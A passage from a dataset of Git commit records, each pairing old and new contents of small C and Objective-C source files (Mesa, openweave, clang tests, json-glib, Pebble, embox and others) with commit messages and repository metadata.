AND\/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n * USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n *\n **************************************************************************\/\n#ifndef _HGL_SOFTWAREWINSYS_H\n#define _HGL_SOFTWAREWINSYS_H\n\nstruct sw_winsys;\n\nstruct sw_winsys* hgl_create_sw_winsys(void);\n\n\n#endif\n","new_contents":"\/**************************************************************************\n *\n * Copyright 2009 Artur Wyszynski <harakash@gmail.com>\n * Copyright 2013 Alexander von Gluck IV <kallisti5@unixzen.com>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL\n * THE COPYRIGHT HOLDERS, AUTHORS AND\/OR ITS SUPPLIERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n * USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n *\n **************************************************************************\/\n#ifndef _HGL_SOFTWAREWINSYS_H\n#define _HGL_SOFTWAREWINSYS_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct sw_winsys;\n\nstruct sw_winsys* hgl_create_sw_winsys(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add needed extern \"C\" to hgl winsys","message":"winsys\/hgl: Add needed extern \"C\" to hgl winsys\n\nReviewed-by: Brian Paul <3cb4e1df5ec4da2c7c4af7c52cec8cf340a55a10@vmware.com>\n","lang":"C","license":"mit","repos":"metora\/MesaGLSLCompiler,metora\/MesaGLSLCompiler,metora\/MesaGLSLCompiler"}
{"commit":"7f728dc9ea358c56458b5145bc8e78006fca190d","old_file":"build\/config\/ios\/WeaveProjectConfig.h","new_file":"build\/config\/ios\/WeaveProjectConfig.h","old_contents":"\/*\n *\n *    Copyright (c) 2016-2017 Nest Labs, Inc.\n *    All rights reserved.\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n\n\/**\n *    @file\n *      Project-specific configuration file for iOS builds.\n *\n *\/\n#ifndef WEAVEPROJECTCONFIG_H\n#define WEAVEPROJECTCONFIG_H\n\n#endif \/* WEAVEPROJECTCONFIG_H *\/\n","new_contents":"\/*\n *\n *    Copyright (c) 2016-2017 Nest Labs, Inc.\n *    All rights reserved.\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n\n\/**\n *    @file\n *      Project-specific configuration file for iOS builds.\n *\n *\/\n#ifndef WEAVEPROJECTCONFIG_H\n#define WEAVEPROJECTCONFIG_H\n\n#define INET_CONFIG_OVERRIDE_SYSTEM_TCP_USER_TIMEOUT 0\n\n#endif \/* WEAVEPROJECTCONFIG_H *\/\n","subject":"Disable unsupported Inet configuration breaking iOS integration.","message":"Disable unsupported Inet configuration breaking iOS integration.\n\nFor a yet-unknown reason, trying to read the TCP Tx buffer with ioctl on iOS fails with ENXIO. Since this code was written primarily for embedded Linux platforms, and is not needed for mobile clients, this CL turns off that bit of code for iOS builds.","lang":"C","license":"apache-2.0","repos":"openweave\/openweave-core,openweave\/openweave-core,openweave\/openweave-core,openweave\/openweave-core,openweave\/openweave-core,openweave\/openweave-core"}
{"commit":"f7ec6e5c53d147637fafde9d908b9f24814ecce5","old_file":"Settings\/Updater\/UpdaterWindow.h","new_file":"Settings\/Updater\/UpdaterWindow.h","old_contents":"#pragma once\n\n#include \"..\/3RVX\/Window.h\"\n\nclass NotifyIcon;\nclass Settings;\n\nclass UpdaterWindow : public Window {\npublic:\n    UpdaterWindow();\n    ~UpdaterWindow();\n\n    void DoModal();\n\nprivate:\n    HICON _smallIcon;\n    HICON _largeIcon;\n    NotifyIcon *_notifyIcon;\n\n    HMENU _menu;\n    UINT _menuFlags;\n\n    Settings *_settings;\n\n    std::pair<int, int> _version;\n    std::wstring _versionString;\n\n    void InstallUpdate();\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n\npublic:\n    static const int MENU_INSTALL = 0;\n    static const int MENU_IGNORE = 1;\n    static const int MENU_REMIND = 2;\n\n};","new_contents":"#pragma once\n\n#include \"..\/..\/3RVX\/Window.h\"\n#include \"Version.h\"\n\nclass NotifyIcon;\nclass Settings;\n\nclass UpdaterWindow : public Window {\npublic:\n    UpdaterWindow();\n    ~UpdaterWindow();\n\n    void DoModal();\n\nprivate:\n    HICON _smallIcon;\n    HICON _largeIcon;\n    NotifyIcon *_notifyIcon;\n\n    HMENU _menu;\n    UINT _menuFlags;\n\n    Settings *_settings;\n\n    Version _version;\n\n    void InstallUpdate();\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n\npublic:\n    static const int MENU_INSTALL = 0;\n    static const int MENU_IGNORE = 1;\n    static const int MENU_REMIND = 2;\n\n};","subject":"Clean up instance variables and imports","message":"Clean up instance variables and imports\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"a77e006fa0a5c215e4b48a21e70dd323d165a5b4","old_file":"test\/CodeGen\/2004-06-17-UnorderedCompares.c","new_file":"test\/CodeGen\/2004-06-17-UnorderedCompares.c","old_contents":"\/\/ RUN: %clang_cc1  -std=c99 %s -emit-llvm -o - | grep -v llvm.isunordered | not grep call\n\n_Bool A, B, C, D, E, F;\nvoid TestF(float X, float Y) {\n  A = __builtin_isgreater(X, Y);\n  B = __builtin_isgreaterequal(X, Y);\n  C = __builtin_isless(X, Y);\n  D = __builtin_islessequal(X, Y);\n  E = __builtin_islessgreater(X, Y);\n  F = __builtin_isunordered(X, Y);\n}\nvoid TestD(double X, double Y) {\n  A = __builtin_isgreater(X, Y);\n  B = __builtin_isgreaterequal(X, Y);\n  C = __builtin_isless(X, Y);\n  D = __builtin_islessequal(X, Y);\n  E = __builtin_islessgreater(X, Y);\n  F = __builtin_isunordered(X, Y);\n}\n","new_contents":"\/\/ RUN: %clang_cc1  -std=c99 %s -emit-llvm -o - | FileCheck %s\n\/\/ CHECK: @Test\n\/\/ CHECK-NOT: call\n\n_Bool A, B, C, D, E, F;\nvoid TestF(float X, float Y) {\n  A = __builtin_isgreater(X, Y);\n  B = __builtin_isgreaterequal(X, Y);\n  C = __builtin_isless(X, Y);\n  D = __builtin_islessequal(X, Y);\n  E = __builtin_islessgreater(X, Y);\n  F = __builtin_isunordered(X, Y);\n}\nvoid TestD(double X, double Y) {\n  A = __builtin_isgreater(X, Y);\n  B = __builtin_isgreaterequal(X, Y);\n  C = __builtin_isless(X, Y);\n  D = __builtin_islessequal(X, Y);\n  E = __builtin_islessgreater(X, Y);\n  F = __builtin_isunordered(X, Y);\n}\n","subject":"Remove pathname dependence. Also rewrite test to use FileCheck at the same time.","message":"Remove pathname dependence. Also rewrite test to use FileCheck\nat the same time.\n\nPatch by David Callahan.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@226331 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"ce9a5f7402d60ca92a2585f077d4668694fcb83d","old_file":"include\/VolViz\/src\/GeometryDescriptor.h","new_file":"include\/VolViz\/src\/GeometryDescriptor.h","old_contents":"","new_contents":"#ifndef VolViz_Geometry_h\n#define VolViz_Geometry_h\n\n#include \"Types.h\"\n\nnamespace VolViz {\n\nstruct GeometryDescriptor {\n  bool movable{true};\n  Color color{Colors::White()};\n};\n\nstruct AxisAlignedPlaneDescriptor : public GeometryDescriptor {\n  Length intercept{0 * meter};\n  Axis axis{Axis::X};\n};\n\n} \/\/ namespace VolViz\n\n#endif \/\/ VolViz_Geometry_h\n\n","subject":"Add descriptors for various geometries","message":"Add descriptors for various geometries\n","lang":"C","license":"mit","repos":"ithron\/VolViz,ithron\/VolViz,ithron\/VolViz"}
{"commit":"3eec82ff013efb8ecd9a40fd58173e28331fe3d9","old_file":"test2\/code_gen\/deref_reg.c","new_file":"test2\/code_gen\/deref_reg.c","old_contents":"\/\/ RUN: %ucc -DFIRST  -S -o- %s | grep -F 'movl (%%rax), %%eax'\n\/\/ RUN: %ucc -DSECOND -S -o- %s | grep -F 'movl 4(%%rbx), %%ebx'\n\n#ifdef FIRST\n\nf(int *p)\n{\n\treturn *p;\n\t\/\/ should see that p isn't used after\/.retains==1 and not create a new reg,\n\t\/\/ but re-use the current\n}\n\n#elif defined(SECOND)\n\nstruct A\n{\n\tint i, j;\n};\n\ng(struct A *p)\n{\n\treturn p->i + p->j;\n}\n\n#else\n#  error neither\n#endif\n","new_contents":"\/\/ RUN: %ucc -DFIRST  -S -o- %s | grep -F 'movl (%%rax), %%eax'\n\/\/ RUN: %ucc -DSECOND -S -o- %s | grep -F 'movl 4(%%rcx), %%ecx'\n\n#ifdef FIRST\n\nf(int *p)\n{\n\treturn *p;\n\t\/\/ should see that p isn't used after\/.retains==1 and not create a new reg,\n\t\/\/ but re-use the current\n}\n\n#elif defined(SECOND)\n\nstruct A\n{\n\tint i, j;\n};\n\ng(struct A *p)\n{\n\treturn p->i + p->j;\n}\n\n#else\n#  error neither\n#endif\n","subject":"Change test now %ebx is callee-save","message":"Change test now %ebx is callee-save\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"4a4095c360fc29f766e8baba3529a78b6d736b19","old_file":"json-glib\/json-glib.h","new_file":"json-glib\/json-glib.h","old_contents":"#ifndef __JSON_GLIB_H__\n#define __JSON_GLIB_H__\n\n#include <json-glib\/json-types.h>\n#include <json-glib\/json-generator.h>\n#include <json-glib\/json-parser.h>\n#include <json-glib\/json-version.h>\n\n#endif \/* __JSON_GLIB_H__ *\/\n","new_contents":"#ifndef __JSON_GLIB_H__\n#define __JSON_GLIB_H__\n\n#include <json-glib\/json-types.h>\n#include <json-glib\/json-scanner.h>\n#include <json-glib\/json-generator.h>\n#include <json-glib\/json-parser.h>\n#include <json-glib\/json-version.h>\n\n#endif \/* __JSON_GLIB_H__ *\/\n","subject":"Add json-scanner.h to the exported headers","message":"Add json-scanner.h to the exported headers\n","lang":"C","license":"lgpl-2.1","repos":"robtaylor\/json-glib-gvariant,GNOME\/json-glib,frida\/json-glib,ebassi\/json-glib,oerdnj\/json-glib,oerdnj\/json-glib,Distrotech\/json-glib,ebassi\/json-glib,robtaylor\/json-glib-gvariant,ebassi\/json-glib,oerdnj\/json-glib,Distrotech\/json-glib,GNOME\/json-glib,brauliobo\/json-glib,oerdnj\/json-glib,frida\/json-glib,brauliobo\/json-glib,brauliobo\/json-glib,Distrotech\/json-glib"}
{"commit":"81c02ef3db6901655f8a7117e5e2675d37096daf","old_file":"json-glib\/json-glib.h","new_file":"json-glib\/json-glib.h","old_contents":"#ifndef __JSON_GLIB_H__\n#define __JSON_GLIB_H__\n\n#include <json-glib\/json-types.h>\n#include <json-glib\/json-scanner.h>\n#include <json-glib\/json-generator.h>\n#include <json-glib\/json-parser.h>\n#include <json-glib\/json-version.h>\n#include <json-glib\/json-enum-types.h>\n\n#endif \/* __JSON_GLIB_H__ *\/\n","new_contents":"#ifndef __JSON_GLIB_H__\n#define __JSON_GLIB_H__\n\n#include <json-glib\/json-types.h>\n#include <json-glib\/json-generator.h>\n#include <json-glib\/json-parser.h>\n#include <json-glib\/json-version.h>\n#include <json-glib\/json-enum-types.h>\n\n#endif \/* __JSON_GLIB_H__ *\/\n","subject":"Remove the include for json-scanner.h","message":"Remove the include for json-scanner.h\n\nThe json-scanner.h header file is not shipped with JSON-GLib anymore.\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/json-glib,GNOME\/json-glib,brauliobo\/json-glib,ebassi\/json-glib,oerdnj\/json-glib,Distrotech\/json-glib,frida\/json-glib,GNOME\/json-glib,robtaylor\/json-glib-gvariant,oerdnj\/json-glib,robtaylor\/json-glib-gvariant,brauliobo\/json-glib,ebassi\/json-glib,oerdnj\/json-glib,oerdnj\/json-glib,frida\/json-glib,brauliobo\/json-glib,ebassi\/json-glib,Distrotech\/json-glib"}
{"commit":"42745caac82bac289f9f5d5476c4f1e9bb29624b","old_file":"Extends\/NSTLocalFileError.h","new_file":"Extends\/NSTLocalFileError.h","old_contents":"","new_contents":"\/\/\n\/\/  NSTLocalFileError.h\n\/\/  Pods\n\/\/\n\/\/  Created by Anatoly Shcherbinin on 5.04.22.\n\/\/\n\n#ifndef NSTLocalFileError_h\n#define NSTLocalFileError_h\n\n\/\/\/Quick error domain for errors that should be generated and handled localy in one source file\n#define NSTLocalFileErrorDomain (@__FILE_NAME__)\n\n\/\/\/Convenience method for generation errors with localized description\n\/\/\/Generated error will have file name where occured as domain and code as line\n#define NSTLocalFileErrorWithMessage(message) _localFileErrorWithMessage(NSTLocalFileErrorDomain, __LINE__, (message))\n\n\/\/\/Convenience method for generation errors with cpecefied code\n\/\/\/Can be used if error handled in the same file and error handling if depends on code\n#define NSTLocalFileErrorWithCode(code) _localFileErrorWithMessage(NSTLocalFileErrorDomain, (code), nil)\n\nCF_INLINE NSError *_localFileErrorWithMessage(NSErrorDomain domain, NSInteger code, NSString *message) {\n    return [NSError errorWithDomain:domain\n                               code:code\n                           userInfo:( nil == message\n        ? nil\n        : @ { NSLocalizedDescriptionKey: message }\n    )];\n}\n\n#endif \/* NSTLocalFileError_h *\/\n","subject":"Add convenience macros for generation locally handled errors","message":"Add convenience macros for generation locally handled errors\n","lang":"C","license":"mit","repos":"netcosports\/NS-Categories,netcosports\/NS-Categories,netcosports\/NS-Categories,netcosports\/NS-Categories"}
{"commit":"4024adee156f12bbeb884c5a2c5ea1af1c108b5a","old_file":"test\/test_chip8.c","new_file":"test\/test_chip8.c","old_contents":"#include <assert.h>\n#include \"..\/src\/chip8.c\"\n\nvoid test_clear_screen(void) {\n  int i;\n  chip8_t * chip8 = chip8_new();\n\n  chip8->memory[0x200] = 0x00;\n  chip8->memory[0x201] = 0xE0;\n\n  chip8_fetch_current_opcode(chip8);\n  chip8_decode_current_opcode(chip8);\n\n  i = 0;\n  while (i < 64 * 32) {\n    assert(chip8->memory[i++] == 0);\n  }\n}\n\nvoid test_instruction_jump(void) {\n  chip8_t * chip8 = chip8_new();\n\n  chip8->memory[0x200] = 0x11;\n  chip8->memory[0x201] = 0x23;\n\n  chip8_fetch_current_opcode(chip8);\n  chip8_decode_current_opcode(chip8);\n\n  assert(chip8->program_counter == 0x123);\n}\n\nint main(int argc, char ** argv) {\n  test_clear_screen();\n  test_instruction_jump();\n}\n","new_contents":"#include <assert.h>\n#include \"..\/src\/chip8.c\"\n\nvoid test_clear_screen(void) {\n  int i;\n  chip8_t * chip8 = chip8_new();\n\n  chip8->memory[0x200] = 0x00;\n  chip8->memory[0x201] = 0xE0;\n\n  chip8_fetch_current_opcode(chip8);\n  chip8_decode_current_opcode(chip8);\n\n  i = 0;\n  while (i < 64 * 32) {\n    assert(chip8->memory[i++] == 0);\n  }\n}\n\nvoid test_instruction_jump(void) {\n  chip8_t * chip8 = chip8_new();\n\n  chip8->memory[0x200] = 0x11;\n  chip8->memory[0x201] = 0x23;\n\n  chip8_fetch_current_opcode(chip8);\n  chip8_decode_current_opcode(chip8);\n\n  assert(chip8->program_counter == 0x123);\n}\n\nint main(int argc, char ** argv) {\n  test_clear_screen();\n  test_instruction_jump();\n\n  return 0;\n}\n","subject":"Exit the tests with success if they aren't failing","message":"Exit the tests with success if they aren't failing\n","lang":"C","license":"mit","repos":"gsamokovarov\/chip8.c,gsamokovarov\/chip8.c"}
{"commit":"b09bd3d3896c448f8817ee7515e3af0314605ab1","old_file":"plrCommon\/plrCompare.c","new_file":"plrCommon\/plrCompare.c","old_contents":"#include \"plrCompare.h\"\n\nint plrC_compareArgs(const syscallArgs_t *args1, const syscallArgs_t *args2) {\n  int foundDiff = 0;\n  if      (args1->addr   != args2->addr)   { foundDiff = 1; }\n  else if (args1->arg[0] != args2->arg[0]) { foundDiff = 2; }\n  else if (args1->arg[1] != args2->arg[1]) { foundDiff = 3; }\n  else if (args1->arg[2] != args2->arg[2]) { foundDiff = 4; }\n  else if (args1->arg[3] != args2->arg[3]) { foundDiff = 5; }\n  else if (args1->arg[4] != args2->arg[4]) { foundDiff = 6; }\n  else if (args1->arg[5] != args2->arg[5]) { foundDiff = 7; }\n  return foundDiff;\n}\n","new_contents":"#include \"plrCompare.h\"\n#include <stdio.h>\n\nint plrC_compareArgs(const syscallArgs_t *args1, const syscallArgs_t *args2) {\n  int faultVal = 0;\n  \n  #define CompareElement(elem, faultBit)    \\\n  if (args1->elem != args2->elem) {         \\\n    faultVal |= 1 << faultBit;              \\\n    printf(\"Argument miscompare in \" #elem \", 0x%lX != 0x%lX\\n\",  \\\n      (unsigned long)args1->elem, (unsigned long)args2->elem);    \\\n  }\n  \n  CompareElement(addr,   0);\n  CompareElement(arg[0], 1);\n  CompareElement(arg[1], 2);\n  CompareElement(arg[2], 3);\n  CompareElement(arg[3], 4);\n  CompareElement(arg[4], 5);\n  CompareElement(arg[5], 6);\n  \n  return faultVal;\n}\n","subject":"Add logging to syscall arg compare for debugging purposes","message":"Add logging to syscall arg compare for debugging purposes\n","lang":"C","license":"mit","repos":"apogeedev\/plr,apogeedev\/plr"}
{"commit":"e1e5b704393cc348af07e62e1ec69521f9a6ab9e","old_file":"src\/simply\/simply_window_stack.h","new_file":"src\/simply\/simply_window_stack.h","old_contents":"#pragma once\n\n#include \"simply_window.h\"\n\n#include \"simply_msg.h\"\n\n#include \"simply.h\"\n\n#include \"util\/sdk.h\"\n\n#include <pebble.h>\n\ntypedef struct SimplyWindowStack SimplyWindowStack;\n\nstruct SimplyWindowStack {\n  Simply *simply;\n#ifdef PBL_SDK_2\n  Window *pusher;\n#endif\n  bool is_showing:1;\n  bool is_hiding:1;\n};\n\nSimplyWindowStack *simply_window_stack_create(Simply *simply);\nvoid simply_window_stack_destroy(SimplyWindowStack *self);\n\nbool simply_window_stack_set_broadcast(bool broadcast);\n\nSimplyWindow *simply_window_stack_get_top_window(Simply *simply);\n\nvoid simply_window_stack_show(SimplyWindowStack *self, SimplyWindow *window, bool is_push);\nvoid simply_window_stack_pop(SimplyWindowStack *self, SimplyWindow *window);\nvoid simply_window_stack_back(SimplyWindowStack *self, SimplyWindow *window);\n\nvoid simply_window_stack_send_show(SimplyWindowStack *self, SimplyWindow *window);\nvoid simply_window_stack_send_hide(SimplyWindowStack *self, SimplyWindow *window);\n\nbool simply_window_stack_handle_packet(Simply *simply, Packet *packet);\n","new_contents":"#pragma once\n\n#include \"simply_window.h\"\n\n#include \"simply_msg.h\"\n\n#include \"simply.h\"\n\n#include \"util\/sdk.h\"\n\n#include <pebble.h>\n\ntypedef struct SimplyWindowStack SimplyWindowStack;\n\nstruct SimplyWindowStack {\n  Simply *simply;\n  SDK_SELECT(NONE, Window *pusher);\n  bool is_showing:1;\n  bool is_hiding:1;\n};\n\nSimplyWindowStack *simply_window_stack_create(Simply *simply);\nvoid simply_window_stack_destroy(SimplyWindowStack *self);\n\nbool simply_window_stack_set_broadcast(bool broadcast);\n\nSimplyWindow *simply_window_stack_get_top_window(Simply *simply);\n\nvoid simply_window_stack_show(SimplyWindowStack *self, SimplyWindow *window, bool is_push);\nvoid simply_window_stack_pop(SimplyWindowStack *self, SimplyWindow *window);\nvoid simply_window_stack_back(SimplyWindowStack *self, SimplyWindow *window);\n\nvoid simply_window_stack_send_show(SimplyWindowStack *self, SimplyWindow *window);\nvoid simply_window_stack_send_hide(SimplyWindowStack *self, SimplyWindow *window);\n\nbool simply_window_stack_handle_packet(Simply *simply, Packet *packet);\n","subject":"Use SDK_SELECT for the window stack pusher member field","message":"Use SDK_SELECT for the window stack pusher member field\n","lang":"C","license":"mit","repos":"frizzr\/CatchOneBus,youtux\/PebbleShows,fletchto99\/pebblejs,carlo-colombo\/dublin-bus-pebble,ishepard\/TransmissionTorrent,ishepard\/TransmissionTorrent,frizzr\/CatchOneBus,carlo-colombo\/dublin-bus-pebble,pebble\/pebblejs,ento\/pebblejs,demophoon\/Trimet-Tracker,carlo-colombo\/dublin-bus-pebble,gwijsman\/OpenRemotePebble,youtux\/PebbleShows,jsfi\/pebblejs,youtux\/pebblejs,youtux\/pebblejs,pebble\/pebblejs,sunshineyyy\/CatchOneBus,sunshineyyy\/CatchOneBus,gwijsman\/OpenRemotePebble,demophoon\/Trimet-Tracker,effata\/pebblejs,youtux\/pebblejs,daduke\/LMSController,bkbilly\/Tvheadend-EPG,demophoon\/Trimet-Tracker,frizzr\/CatchOneBus,pebble\/pebblejs,fletchto99\/pebblejs,daduke\/LMSController,bkbilly\/Tvheadend-EPG,jiangege\/pebblejs-project,youtux\/PebbleShows,youtux\/PebbleShows,fletchto99\/pebblejs,jsfi\/pebblejs,daduke\/LMSController,jiangege\/pebblejs-project,gwijsman\/OpenRemotePebble,bkbilly\/Tvheadend-EPG,pebble\/pebblejs,sunshineyyy\/CatchOneBus,effata\/pebblejs,bkbilly\/Tvheadend-EPG,daduke\/LMSController,gwijsman\/OpenRemotePebble,fletchto99\/pebblejs,sunshineyyy\/CatchOneBus,bkbilly\/Tvheadend-EPG,daduke\/LMSController,jiangege\/pebblejs-project,gwijsman\/OpenRemotePebble,carlo-colombo\/dublin-bus-pebble,ento\/pebblejs,ishepard\/TransmissionTorrent,jsfi\/pebblejs,effata\/pebblejs,carlo-colombo\/dublin-bus-pebble,fletchto99\/pebblejs,pebble\/pebblejs,ishepard\/TransmissionTorrent,jiangege\/pebblejs-project,sunshineyyy\/CatchOneBus,youtux\/pebblejs,effata\/pebblejs,demophoon\/Trimet-Tracker,ento\/pebblejs,effata\/pebblejs,jsfi\/pebblejs,jiangege\/pebblejs-project,ento\/pebblejs,youtux\/pebblejs,frizzr\/CatchOneBus,demophoon\/Trimet-Tracker,jsfi\/pebblejs,ishepard\/TransmissionTorrent,ento\/pebblejs"}
{"commit":"b8aff13260f0ed1de59387e899cb65b75a10c3c9","old_file":"src\/compat\/libc\/string\/inhibit_libcall.h","new_file":"src\/compat\/libc\/string\/inhibit_libcall.h","old_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    21.07.2015\n *\/\n\n#ifndef STR_INHIBIT_LIBCALL_H_\n#define STR_INHIBIT_LIBCALL_H_\n\n\/* FIXME  __attribute__ ((__optimize__ (\"-fno-tree-loop-distribute-patterns\")))\n * can be not supported in cross-compiler\n *\/\n#define HAVE_CC_INHIBIT_LOOP_TO_LIBCALL 1\n\n#ifdef HAVE_CC_INHIBIT_LOOP_TO_LIBCALL\n# define inhibit_loop_to_libcall \\\n\t    __attribute__ ((__optimize__ (\"-fno-tree-loop-distribute-patterns\")))\n#else\n# define inhibit_loop_to_libcall\n#endif\n\n#endif \/* STR_INHIBIT_LIBCALL_H_ *\/\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    21.07.2015\n *\/\n\n#ifndef STR_INHIBIT_LIBCALL_H_\n#define STR_INHIBIT_LIBCALL_H_\n\n\/* FIXME  __attribute__ ((__optimize__ (\"-fno-tree-loop-distribute-patterns\")))\n * can be not supported in cross-compiler\n *\/\n#ifndef __e2k__\n#define HAVE_CC_INHIBIT_LOOP_TO_LIBCALL 1\n#endif \/* __e2k__ *\/\n\n#ifdef HAVE_CC_INHIBIT_LOOP_TO_LIBCALL\n# define inhibit_loop_to_libcall \\\n\t    __attribute__ ((__optimize__ (\"-fno-tree-loop-distribute-patterns\")))\n#else\n# define inhibit_loop_to_libcall\n#endif\n\n#endif \/* STR_INHIBIT_LIBCALL_H_ *\/\n","subject":"Fix inhibit_loop_to_libcall compilation on e2k","message":"compat: Fix inhibit_loop_to_libcall compilation on e2k\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"259598230240544af945254ed834a32eebec2608","old_file":"Pod\/Classes\/Utils\/UIColor+HKHex.h","new_file":"Pod\/Classes\/Utils\/UIColor+HKHex.h","old_contents":"\/\/\n\/\/  UIColor+HKHex.h\n\/\/  HKProjectBase-Sample\n\/\/\n\/\/  Created by Harley.xk on 15\/8\/26.\n\/\/  Copyright (c) 2015年 Harley.xk. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIColor (HKHex)\n\n+ (UIColor *)colorWithHexString:(NSString *)hexString;\n+ (UIColor *)colorWithHexString:(NSString *)hexString alpha:(CGFloat)alpha;\n\n@end\n","new_contents":"\/\/\n\/\/  UIColor+HKHex.h\n\/\/  HKProjectBase-Sample\n\/\/\n\/\/  Created by Harley.xk on 15\/8\/26.\n\/\/  Copyright (c) 2015年 Harley.xk. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@interface UIColor (HKHex)\n\n\/**\n *  使用16进制字符串创建颜色\n *\n *  @param hexString 16进制字符串，可以是 0XFFFFFF\/#FFFFFF\/FFFFFF 三种格式之一\n *\n *  @return 返回创建的UIColor对象\n *\/\n+ (UIColor *)colorWithHexString:(NSString *)hexString;\n+ (UIColor *)colorWithHexString:(NSString *)hexString alpha:(CGFloat)alpha;\n\n@end\n","subject":"Add comment to Hex color category","message":"Add comment to Hex color category\n","lang":"C","license":"mit","repos":"Harley-xk\/HKProjectBase,Harley-xk\/HKProjectBase,Harley-xk\/HKProjectBase"}
{"commit":"21b2d73ef61e40b611792ce772a774438b2f459d","old_file":"src\/ConfigFileReader.h","new_file":"src\/ConfigFileReader.h","old_contents":"#pragma once\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <unordered_map>\n#include <algorithm>\n\/\/#include <locale>\n\nclass ConfigFileReader \n{\n    public:\n        ConfigFileReader(const char* file_name);\n        std::string find(std::string key);\n    private:\n        std::ifstream iniFile;\n        std::unordered_map<std::string, std::string> hashmap;\n};\n\n","new_contents":"#pragma once\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <unordered_map>\n#include <algorithm>\n\nclass ConfigFileReader \n{\n    public:\n        ConfigFileReader(const char* file_name);\n        std::string find(std::string key);\n    private:\n        std::ifstream iniFile;\n        std::unordered_map<std::string, std::string> hashmap;\n};","subject":"Remove unnecessary includes and newlines","message":"Remove unnecessary includes and newlines\n","lang":"C","license":"agpl-3.0","repos":"UCSolarCarTeam\/Schulich-Delta-OnBoard-Media-Control,UCSolarCarTeam\/Schulich-Delta-OnBoard-Media-Control"}
{"commit":"412799711a2b6ae29c865159df88e0bbe19fd2df","old_file":"src\/lib\/str-sanitize.c","new_file":"src\/lib\/str-sanitize.c","old_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif ((unsigned char)*p < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, 